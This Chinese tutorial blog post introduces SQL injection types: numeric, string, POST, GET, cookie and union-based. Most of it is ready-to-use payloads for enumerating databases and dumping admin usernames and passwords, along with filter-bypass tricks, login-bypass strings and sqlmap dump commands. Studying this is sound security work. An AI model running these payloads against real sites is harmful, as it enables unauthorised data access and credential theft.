SQL注入介绍

前言

本篇文章介绍了sql注入的常见注入类型及方法!
注:切勿做违法乱纪之事,后果自行承担!!!!

正文

1 按变量类型

1.1 数字型

information_schema为MySQL自带数据库,所有数据库名、表名、字段名都可以从中查询到!

1)判断注入

.1’ and 1=‘1# 用and连接,若查询1结果正确,返回值为真
.1’ and 1=‘2# 用and连接,若查询1结果正确,返回值为假

#双引号注入

.1’’ and 1=’‘1# 用and连接,若查询1结果正确,返回值为真
.1’’ and 1=’'2# 用and连接,若查询1结果正确,返回值为假

#数字型注入

.1 and 1=1 用and连接,若查询1结果正确,返回值为真
.1 and 1=2 用and连接,若查询1结果正确,返回值为假

2)判断字段数 地址栏输入 ’ order by 数字

‘ order by (1,2,3,4........) --+   //可判断出有几个回显

?id=-1' union select 1,database(),3 --+  //可判断出数据库名字,假设order by 4出错,变量改为-1

id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'   另一种查询方式,后同

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库名字’ --+   //查表明   group_concat多个表有序排列(引号一定要)

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘输入要查询的表名’     //查询表中的字段

?id=-1' union select 1,要查询的字段名1,要查询的字段名2 from 要查询的表    //查询一年字段中的内容

?id=-1' union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin  //若内容无法显示,则unhex编码

情况一

查表名时由于过滤or,所以information_schema无法使用。 但Mysql5.6及以上版本中
innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名

PS://可以代替空格 不能用order by测试列数,用group by代替
注释符#用,'3代替,数字随便**

查看表名:
-1’union//select//1,(select//group_concat(table_name)//from/**/mysql.innodb_table_stats),3,‘3

这时就要无列名注入了
因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入

//-1’//union//select//1,(select//group_concat(b)//from//(select//1,2,3//as//b//union//select//*//from//users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

————————————————————————————————————————————

1.2 字符型

' and '1'='1
' and '1'='2

剩下步骤和数字型一样…

2 按HTTP提交方式

2.1 POST型注入

简单说明步骤:

1.直接burpsuite抓取数据包
2.sql跑起来——

sqlmap.py -r "数据包文件" --current-db   #查询当前数据库名字
-----------------------------------------------------------
--current-db       //表示当前网站的数据库名字
--tables -D  “当前数据库名字”      //当前网站数据库名字
--columns -T -D   //获取表中的列
--dump -C -T -D   ///获取列中的字段内容

sql注入万能用户名
注释法 //将密码注释掉

eg:用户名处 admin' #
or 方法	
eg:admin' or '1'='1

2.2 GET型注入

简单说明步骤:

1.sql跑起来——
sqlmap.py -u “URL”

--current-db       //表示当前网站的数据库名字
--tables -D  “当前数据库名字”      //当前网站数据库名字
--columns -T -D   //获取表中的列
 --dump -C -T -D   ///获取列中的字段内容

2.3 Cookie型注入

怎样cookie注入?
  cookie注入分为以下几个阶段:

  1. 判断是不是注入点
    2.得到字段总数
    3.查选表名
    4.查选列名
    5.脱裤(就是得到我们想得到列名的值)

我们先理解一下这几个概念:

javascript:alert(document.cookie=“id=”+escape(“284”))

	document.cookie:表示当前浏览器中的cookie变量

  alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。

  escape():该函数用于对字符串进行编码。

  cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。

  cookie注入原理

【检测方法】

1、首先找到传参地址: asp?id=xxx(例如:http://www.example.com/news.asp?id=1)
2、去掉参数,访问该url
http://www.example.com/news.asp?
如果页面访问不正常,则说明该参数id是访问页面所必需的的参数,可以尝试继续注入。
3、记录并清空当前浏览器地址栏中的地址,在其中输入
javascript:alert(document.cookie=“id=”+escape(“xxx”));
//这里的xxx就是上一步中id=xxx中的参数值
4、再浏览器地址栏中输入原来的url地址(注意,这里输入的是不带参数值的url,如下):
http://www.example.com/news.asp?
按下回车,访问该url,如果发现页面正常显示了,到此可以证明,我们正在接受的页面存在request方法获取参数,可能存在cookie注入的风险

【利用方法】:
手工检测到可能存在cookie注入时,我们就可以通过常规注入方法来进行注入了

1、清空地址栏,输入我们的写cookie代码:
javascript:alert(document.cookie=“id=”+escape(“xxx and 1=1”));
2、使用无参数的url地址访问
http://www.example.com/news.asp?
如果页面正常,我们就可以进行下一步检测。如果这是页面不正常,说明站点管理员已经部署了响应的防御策略,就需要找其他方法注入
3、清空地址,同样的方法写入新的cookie
javascript:alert(document.cookie=“id=”+escape(“xxx and 1=2”));
如果上一次页面正常,这次页面不正常,那么说明存在cookie注入漏洞,可以通过常规方法注入即可,只是cookie注入相对比较麻烦,需要每一次都在浏览器中执行写cookie代码
javascript:alert(document.cookie=“id=”+escape(“xxx 注入语句”));
然后访问不带参数的url地址
http://www.example.com/news.asp?
根据页面提示进行注入即可

3 union联合查询(有回显)

注意:判断是除了在id=1后面加引号,还可以加引号加单括号,等等…

如:
id=1'
id=1')  and '1'='1'       and '1'='2'
id=1"
id=1")  and '1'='1'       and '1'='2'

PS://可以代替空格 不能用order by测试列数,用group by代替
注释符#用,'3代替,数字随便**

前面+URL

and 1=1
and 1=2
’ and ‘1’='1
’ and ‘1’='2


‘ order by (1234........--+   //可判断出有几个回显

?id=-1' union select 1,database(),3 --+  //可判断出数据库名字,假设order by 4出错,变量改为-1

id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'   另一种查询方式,后同

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where 
table_schema=‘数据库名字’ --+   //查表明   group_concat多个表有序排列(引号一定要)

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘输入要查询的表名’     //查询表中的字段

?id=-1' union select 1,要查询的字段名1,要查询的字段名2 from 要查询的表    //查询一年字段中的内容

?id=-1' union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin  //若内容无法显示,则unhex编码

情况一
查表名时由于过滤or,所以information_schema无法使用。
但Mysql5.6及以上版本中 innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名

PS://可以代替空格 不能用order by测试列数,用group by代替
注释符#用,'3代替,数字随便**

查看表名:

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,‘3
这时就要无列名注入了
因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入

//-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

总结

更多分享微信搜索“安全info”公众号
添加群主进“安全交流”微信群
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

流浪法师12

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值